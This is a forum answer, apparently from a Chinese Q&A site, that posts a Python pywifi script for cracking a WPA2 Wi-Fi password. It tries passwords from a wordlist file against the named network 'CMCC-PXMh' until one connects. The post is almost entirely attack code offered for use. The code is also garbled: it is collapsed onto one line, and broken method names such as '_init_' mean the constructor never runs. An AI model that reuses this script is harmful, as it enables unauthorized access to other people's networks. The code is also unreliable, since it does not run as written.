9 回答
筑梦之路
TA贡献86条经验 获得超23个赞
#coding:utf-8 import time import pywifi from pywifi import const from asyncio.tasks import sleep class PoJie(): def _init_(self,path): self.file=open(path, "r", errors="ignore") wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = wifi.interfaces()[0] #抓取第一个无线网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("开始破解:") while True: try: myStr = self.file.readline() if not myStr: break bool1=self.test_connect(myStr) if bool1: print("密码正确: ",myStr) break else: print("密码错误: " + myStr) sleep(3) except: continue def test_connect(self, findStr): #测试链接 profile = pywifi.Profile() #创建wifi链接文件 profile.ssid = "CMCC-PXMh" #wifi名称 profile.auth = const.AUTH_ALG_OPEN #网卡的开放 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 profile.key = findStr #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) #设定新的链接文件 self.iface.connect(tmp_profile) #链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def _del_(self): self.file.close()path=r"C:\Users\Administrator\Desktop\资料\wifi.txt" start=PoJie() start.readPassWord()
- 9 回答
- 1 关注
- 5501 浏览
添加回答
举报
0/150
提交
取消